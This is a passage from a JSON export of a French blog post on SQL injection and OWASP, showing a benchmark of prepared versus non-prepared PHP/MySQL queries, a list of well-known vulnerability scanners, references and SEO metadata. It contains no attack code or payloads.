bgcolor=\"#0084D1\">Perte de temps<br \/>\n<span style=\"text-decoration: underline;\">R\u00e9f\u00e9rentiel :<\/span><br \/>\nRequ\u00eate non pr\u00e9par\u00e9e<\/td>\n<td bgcolor=\"#0084D1\">Gain (en %)<br \/>\n<span style=\"text-decoration: underline;\">R\u00e9f\u00e9rentiel :<\/span><br \/>\nRequ\u00eate non pr\u00e9par\u00e9e<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #fed966;\" bgcolor=\"#FED966\">Requ\u00eate pr\u00e9apr\u00e9e<\/td>\n<td>0.001004<\/td>\n<td>4.115<\/td>\n<td>+0.398s<\/td>\n<td>~-9.66%<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #fed966;\" bgcolor=\"#FED966\">Requ\u00eate non pr\u00e9par\u00e9e<\/td>\n<td>0.000847<\/td>\n<td>3.717<\/td>\n<td>0s<\/td>\n<td>0%<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\">\u00a0<span style=\"text-decoration: underline;\">Remarque :<\/span> Ce benchmark \u00e0 \u00e9t\u00e9 r\u00e9alis\u00e9 sur un poste de d\u00e9veloppement (CPU dual-core, 8Go de RAM, HDD 7200tr\/min) sur Debian 64bits avec PHP est en version 5.4 et MySQL en 5.5. Aucun cache n\u2019a \u00e9t\u00e9 d\u00e9sactiv\u00e9 afin pour rester le plus proche des conditions r\u00e9elles d\u2019utilisation. Le temps unitaire n\u2019est pas forcement \u00e0 prendre en compte car il d\u00e9pends \u00e9norm\u00e9ment de la charge CPU qui varie significativement en fonction des autres instructions \u00e0 ex\u00e9cuter.<\/p>\n<h3>Analyse du r\u00e9sultat<\/h3>\n<p style=\"text-align: justify;\">M\u00eame si la perte de temps engendr\u00e9e par l\u2019utilisation d\u2019une requ\u00eate pr\u00e9par\u00e9e dans le cas d\u2019une ex\u00e9cution unique est maigre (voir inexistante si on se r\u00e9f\u00e8re \u00e0 l\u2019\u00e9chelle du temps), il est bien pr\u00e9sent. Toutefois, compte tenu de l\u2019atout dont dispose ce m\u00e9canisme contre les iSQL, 10% de perte me semble \u00eatre largement acceptable pour la majorit\u00e9 des projets informatiques.<\/p>\n<h2>Comment d\u00e9tecter si notre application est vuln\u00e9rable ?<\/h2>\n<p style=\"text-align: justify;\">Un grand nombre d\u2019outils d\u00e9di\u00e9s \u00e0 l\u2019automatisation des tests d\u2019intrusions sont disponibles. On peut citer les plus r\u00e9put\u00e9s comme par exemple : W3af, OWASP ZAP, Skipfish, etc &#8230;<\/p>\n<p style=\"text-align: justify;\">Mais certains sont d\u00e9di\u00e9s uniquement \u00e0 l\u2019exploitation de failles de type injection SQL, \u00e0 savoir :<\/p>\n<ul>\n<li>SQLMap : <a href=\"http:\/\/sqlmap.org\/\">http:\/\/sqlmap.org\/<\/a><\/li>\n<\/ul>\n<ul>\n<li style=\"text-align: justify;\">SQL Inject Me (Plugin Firefox) : <a href=\"http:\/\/labs.securitycompass.com\/exploit-me\/\">http:\/\/labs.securitycompass.com\/exploit-me\/<\/a><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Ces solutions me semblent \u00eatre les plus adapt\u00e9es pour la recherche d\u2019\u00e9ventuelle failles iSQL (uniquement) sur votre application. Si vous souhaitez un outil plus complet (capable de d\u00e9tecter d\u2019autres types de vuln\u00e9rabilit\u00e9s), passez votre chemin.<\/p>\n<p style=\"text-align: justify;\">L\u2019utilisation de ces outils ne fera pas l\u2019objet de cet article, consultez leur documentation pour apprendre \u00e0 les utiliser.<\/p>\n<h2>Bibliographie<\/h2>\n<ul>\n<li>\u201cPHP 5 avanc\u00e9\u201c (5\u00e8me \u00e9dition) \u00e9crit par Eric Daspet et Cyril Pierre De Geyer<\/li>\n<\/ul>\n<ul>\n<li>\u201cS\u00e9curit\u00e9 PHP5 et MySQL\u201d (2\u00e8me \u00e9dition) \u00e9crit par Damien Seguy et Philippe Gamache<\/li>\n<\/ul>\n<h2>Webographie<\/h2>\n<ul>\n<li>OWASP Top10 : <a href=\"https:\/\/www.owasp.org\/index.php\/Category:OWASP_Top_Ten_Project\">https:\/\/www.owasp.org\/index.php\/Category:OWASP_Top_Ten_Project<\/a><\/li>\n<\/ul>\n<ul>\n<li>OWASP iSQL : <a href=\"https:\/\/www.owasp.org\/index.php\/SQL_injection\">https:\/\/www.owasp.org\/index.php\/SQL_injection<\/a><\/li>\n<\/ul>\n<ul>\n<li>PHP Manual (P-S) : http:\/\/www.php.net\/manual\/fr\/pdo.prepared-statements.php<\/li>\n<\/ul>\n<ul>\n<li>MySQL Documentation (P-S) : <a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.5\/en\/sql-syntax-prepared-statements.html\">http:\/\/dev.mysql.com\/doc\/refman\/5.5\/en\/sql-syntax-prepared-statements.html<\/a><\/li>\n<\/ul>\n<ul>\n<li>Logiciel SQLMap : <a href=\"http:\/\/sqlmap.org\/\">http:\/\/sqlmap.org\/<\/a><\/li>\n<\/ul>\n<ul>\n<li>Plugin Firefox &#8211; SQL Inject Me : <a href=\"http:\/\/labs.securitycompass.com\/exploit-me\/\">http:\/\/labs.securitycompass.com\/exploit-me\/<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Dans ce premier article de la s\u00e9rie consacr\u00e9e aux failles applicatives, j&rsquo;aborde les injections SQL au travers de l&rsquo;OWASP. Dans la plupart des syst\u00e8mes d&rsquo;information des \u00ab\u00a0entr\u00e9es utilisateurs\u00a0\u00bb sont permises pour consulter ou alt\u00e9rer des donn\u00e9es issues d&rsquo;une base quelconque. Cette entr\u00e9e utilisateur est un vecteur d&rsquo;attaque qu&rsquo;il faut prendre en consid\u00e9ration lors de la [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[33],"tags":[47,24,25,48,26,28,45,46],"class_list":["post-175","post","type-post","status-publish","format-standard","hentry","category-veille-technique","tag-bases-de-donnees","tag-injections-sql","tag-isql-2","tag-mysql","tag-owasp","tag-security","tag-securite-applicative","tag-securite-des-systemes-dinformation"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>OWASP \/ Injections SQL - Mickael FRANC (aka Pilebones)<\/title>\n<meta name=\"description\" content=\"Dans ce premier article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les injections SQL au travers de l&#039;OWASP.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"OWASP \/ Injections SQL - Mickael FRANC (aka Pilebones)\" \/>\n<meta property=\"og:description\" content=\"Dans ce premier article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les injections SQL au travers de l&#039;OWASP.\" \/>\n<meta property=\"og:url\" content=\"http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/\" \/>\n<meta property=\"og:site_name\" content=\"Mickael FRANC (aka Pilebones)\" \/>\n<meta property=\"article:published_time\" content=\"2013-09-02T21:27:20+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2016-03-31T12:54:57+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/blog.clever-age.com\/wp-content\/uploads\/sites\/2\/2013\/09\/owasp_logo_150_150.jpg\" \/>\n<meta name=\"author\" content=\"Mickael FRANC\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mickaelfranc\" \/>\n<meta name=\"twitter:site\" content=\"@mickaelfranc\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mickael FRANC\" \/>\n\t<meta name=\"twitter:label2\" content=\"Dur\u00e9e de lecture estim\u00e9e\" \/>\n\t<meta name=\"twitter:data2\" content=\"17 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2013\\\/09\\\/18\\\/securite-owasp-injection-sql\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/owasp-injections-sql\\\/\"},\"author\":{\"name\":\"Mickael FRANC\",\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#\\\/schema\\\/person\\\/9992f50dd21435e37ce7c0558f3f780c\"},\"headline\":\"OWASP \\\/ Injections SQL\",\"datePublished\":\"2013-09-02T21:27:20+00:00\",\"dateModified\":\"2016-03-31T12:54:57+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/owasp-injections-sql\\\/\"},\"wordCount\":3067,\"commentCount\":0,\"image\":{\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2013\\\/09\\\/18\\\/securite-owasp-injection-sql\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/wp-content\\\/uploads\\\/2014\\\/06\\\/isql.png\",\"keywords\":[\"Bases de donn\u00e9es\",\"Injections SQL\",\"iSQL\",\"MySQL\",\"OWASP\",\"S\u00e9curit\u00e9\",\"S\u00e9curit\u00e9 Applicative\",\"S\u00e9curit\u00e9 des syst\u00e8mes d'information\"],\"articleSection\":[\"Veille technique\"],\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2013\\\/09\\\/18\\\/securite-owasp-injection-sql\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/owasp-injections-sql\\\/\",\"url\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2013\\\/09\\\/18\\\/securite-owasp-injection-sql\\\/\",\"name\":\"OWASP \\\/ Injections SQL - Mickael FRANC (aka Pilebones)\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2013\\\/09\\\/18\\\/securite-owasp-injection-sql\\\/#primaryimage\"},\"image\":{\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2013\\\/09\\\/18\\\/securite-owasp-injection-sql\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/wp-content\\\/uploads\\\/2014\\\/06\\\/isql.png\",\"datePublished\":\"2013-09-02T21:27:20+00:00\",\"dateModified\":\"2016-03-31T12:54:57+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#\\\/schema\\\/person\\\/9992f50dd21435e37ce7c0558f3f780c\"},\"description\":\"Dans ce premier article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les injections SQL au travers de l'OWASP.\",\"breadcrumb\":{\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2013\\\/09\\\/18\\\/securite-owasp-injection-sql\\\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2013\\\/09\\\/18\\\/securite-owasp-injection-sql\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2013\\\/09\\\/18\\\/securite-owasp-injection-sql\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/wp-content\\\/uploads\\\/2014\\\/06\\\/isql.png\",\"contentUrl\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/wp-content\\\/uploads\\\/2014\\\/06\\\/isql.png\",\"width\":150,\"height\":150,\"caption\":\"Injections SQL (iSQL)\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\\\/\\\/blog.clever-age.com\\\/fr\\\/2013\\\/09\\\/18\\\/securite-owasp-injection-sql\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"OWASP \\\/ Injections SQL\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/\",\"name\":\"Mickael FRANC (aka Pilebones)\",\"description\":\"Tech Blog &gt; \\\/ dev\\\/security\\\/adminsys\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/#\\\/schema\\\/person\\\/9992f50dd21435e37ce7c0558f3f780c\",\"name\":\"Mickael FRANC\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g\",\"caption\":\"Mickael FRANC\"},\"description\":\"Software engineer @Cisco Lyon (FR) - Enthusiast about IT security (@OWASP) - Archlinux - Golang, Bash, Embedded &amp; dev system - Paragliding remaining time\",\"sameAs\":[\"https:\\\/\\\/www.mickael-franc.fr\\\/\",\"mickael.fnc\",\"https:\\\/\\\/x.com\\\/mickaelfranc\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UCWrM3BvHAkXTEMZvWmfoaAA\"],\"url\":\"https:\\\/\\\/www.mickael-franc.fr\\\/blog\\\/author\\\/mfranc\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"OWASP \/ Injections SQL - Mickael FRANC (aka Pilebones)","description":"Dans ce premier article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les injections SQL au travers de l'OWASP.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/","og_locale":"fr_FR","og_type":"article","og_title":"OWASP \/ Injections SQL - Mickael FRANC (aka Pilebones)","og_description":"Dans ce premier article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les injections SQL au travers de l'OWASP.","og_url":"http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/","og_site_name":"Mickael FRANC (aka Pilebones)","article_published_time":"2013-09-02T21:27:20+00:00","article_modified_time":"2016-03-31T12:54:57+00:00","og_image":[{"url":"http:\/\/blog.clever-age.com\/wp-content\/uploads\/sites\/2\/2013\/09\/owasp_logo_150_150.jpg","type":"","width":"","height":""}],"author":"Mickael FRANC","twitter_card":"summary_large_image","twitter_creator":"@mickaelfranc","twitter_site":"@mickaelfranc","twitter_misc":{"\u00c9crit par":"Mickael FRANC","Dur\u00e9e de lecture estim\u00e9e":"17 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/#article","isPartOf":{"@id":"https:\/\/www.mickael-franc.fr\/blog\/owasp-injections-sql\/"},"author":{"name":"Mickael FRANC","@id":"https:\/\/www.mickael-franc.fr\/blog\/#\/schema\/person\/9992f50dd21435e37ce7c0558f3f780c"},"headline":"OWASP \/ Injections SQL","datePublished":"2013-09-02T21:27:20+00:00","dateModified":"2016-03-31T12:54:57+00:00","mainEntityOfPage":{"@id":"https:\/\/www.mickael-franc.fr\/blog\/owasp-injections-sql\/"},"wordCount":3067,"commentCount":0,"image":{"@id":"http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/#primaryimage"},"thumbnailUrl":"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/06\/isql.png","keywords":["Bases de donn\u00e9es","Injections SQL","iSQL","MySQL","OWASP","S\u00e9curit\u00e9","S\u00e9curit\u00e9 Applicative","S\u00e9curit\u00e9 des syst\u00e8mes d'information"],"articleSection":["Veille technique"],"inLanguage":"fr-FR","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.mickael-franc.fr\/blog\/owasp-injections-sql\/","url":"http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/","name":"OWASP \/ Injections SQL - Mickael FRANC (aka Pilebones)","isPartOf":{"@id":"https:\/\/www.mickael-franc.fr\/blog\/#website"},"primaryImageOfPage":{"@id":"http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/#primaryimage"},"image":{"@id":"http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/#primaryimage"},"thumbnailUrl":"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/06\/isql.png","datePublished":"2013-09-02T21:27:20+00:00","dateModified":"2016-03-31T12:54:57+00:00","author":{"@id":"https:\/\/www.mickael-franc.fr\/blog\/#\/schema\/person\/9992f50dd21435e37ce7c0558f3f780c"},"description":"Dans ce premier article de la s\u00e9rie consacr\u00e9e aux failles applicatives, Mickael FRANC aborde les injections SQL au travers de l'OWASP.","breadcrumb":{"@id":"http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/"]}]},{"@type":"ImageObject","inLanguage":"fr-FR","@id":"http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/#primaryimage","url":"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/06\/isql.png","contentUrl":"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/06\/isql.png","width":150,"height":150,"caption":"Injections SQL (iSQL)"},{"@type":"BreadcrumbList","@id":"http:\/\/blog.clever-age.com\/fr\/2013\/09\/18\/securite-owasp-injection-sql\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.mickael-franc.fr\/blog\/"},{"@type":"ListItem","position":2,"name":"OWASP \/ Injections SQL"}]},{"@type":"WebSite","@id":"https:\/\/www.mickael-franc.fr\/blog\/#website","url":"https:\/\/www.mickael-franc.fr\/blog\/","name":"Mickael FRANC (aka Pilebones)","description":"Tech Blog &gt; \/ dev\/security\/adminsys","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.mickael-franc.fr\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-FR"},{"@type":"Person","@id":"https:\/\/www.mickael-franc.fr\/blog\/#\/schema\/person\/9992f50dd21435e37ce7c0558f3f780c","name":"Mickael FRANC","image":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/secure.gravatar.com\/avatar\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g","caption":"Mickael FRANC"},"description":"Software engineer @Cisco Lyon (FR) - Enthusiast about IT security (@OWASP) - Archlinux - Golang, Bash, Embedded &amp; dev system - Paragliding remaining time","sameAs":["https:\/\/www.mickael-franc.fr\/","mickael.fnc","https:\/\/x.com\/mickaelfranc","https:\/\/www.youtube.com\/channel\/UCWrM3BvHAkXTEMZvWmfoaAA"],"url":"https:\/\/www.mickael-franc.fr\/blog\/author\/mfranc\/"}]}},"_links":{"self":[{"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/posts\/175","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/comments?post=175"}],"version-history":[{"count":10,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/posts\/175\/revisions"}],"predecessor-version":[{"id":263,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/posts\/175\/revisions\/263"}],"wp:attachment":[{"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/media?parent=175"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/categories?post=175"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/tags?post=175"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}